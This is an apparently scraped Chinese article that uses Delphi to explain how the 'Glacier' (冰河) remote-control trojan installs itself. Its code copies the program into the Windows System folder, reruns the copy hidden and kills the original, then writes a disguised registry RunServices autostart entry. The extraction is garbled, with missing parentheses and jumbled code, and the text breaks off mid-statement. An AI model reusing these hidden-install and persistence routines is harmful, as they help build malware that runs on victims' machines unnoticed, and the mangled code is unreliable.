“冰河”启示录Delphi70.docVIP

“冰河”启示录 Delphi7.0经典文章介绍 攀枝花市第三高级中学 廖 裕 前言：我经常在杂志和报刊上看到此类标题的文章，但大多是骗稿费的，没有任何技术含量。于是一气之下写了这编东西。本人声明如下： 一 本人对冰河及其作者没有任何不满，相反，作者肯帮助初学者的态度是我们每一个人都应该学习的。 二 本文的目的在于交流编程经验，没有任何其它不良企图。 三 在一些领域，我们理应宁可自制力让我们的预见力保持寂寞，也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提，以后也不会。 第一部分技术介绍 “冰河”是有名的用C++Builder编写的国产远程管理软件，其自我的功能保护很强，下面就以Delphi为例谈一谈它的原理，希望对大家有一些启发。 一、程序安装 此类程序一般会把自己隐藏起来运行，通常不外乎以下几种方法：自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法 如YAI 。自我拷贝法适用于本身就一个文件，资源文件法可以同时安装好几个文件，网页方式安装要先向M$交钱换安全签证，类病毒捆绑法利用了病毒的原理。本文只介绍自我拷贝法，其它方法请到我的个人主页去看。http：// 1、自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下，如果是就继续运行，如果不是就把自己拷贝到特定目录下，然后运行新程序，再退出旧程序。 打开Delphi，新建一个工程，在窗口的Create事件中写代码： procedure TForm1.FormCreate Sender： TObject ; var myname： string; begin begin copyfile pchar application.Exename ， pchar GetWindir + myname ， False ; 将自己拷贝到Windows\System\下 Winexec pchar GetWindir + myname ， sw_hide ;//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数，起功能是找出Windows\System\的路径。 function GetWinDir： String; var Buf： array[0MAX_PATH] of char; begin GetSystemDirectory Buf， MAX_PATH ; Result ： Buf; if Result[Length Result ] \ then Result ： Result + \; end; begin Application.Initialize; if FindWindow TForm1，Form1 0 then begin Application.CreateForm TForm1， Form1 ; ApplicationRun; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行，如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级。它会自动用新版本覆盖旧版本。 方法如下：修改dpr项目文件 uses Forms，windows，messages， Unit1 in Unit1pas Form1 ; 为了程序能在Windows每次启动时自动运行，可以通过六种途径来实现。“冰河”用注册表的方式。 加入Registry单元，改写上面的窗口Create事件，改写后的程序如下： procedure TForm1。FormCreate Sender： TObject ; const K \Software\Microsoft\Windows\CurrentVersion\RunServices; var myname： string; begin Write by Lovejingtao，http：//L，Lovejingtao@21 begin copyfile pchar application.Exename ， pchar GetWindir + myname ， False ; //将自己拷贝到Windows\System\下 Winexec pchar GetWindir + myname ， sw_hide ;//运行Windows\System\下的新文件 application.Terminate;//退出 end; with Tregistry.Create do try RootKey ： HKEY_LOCAL_MACHINE; OpenKey K， TRUE ; WriteString syspler， applicationEx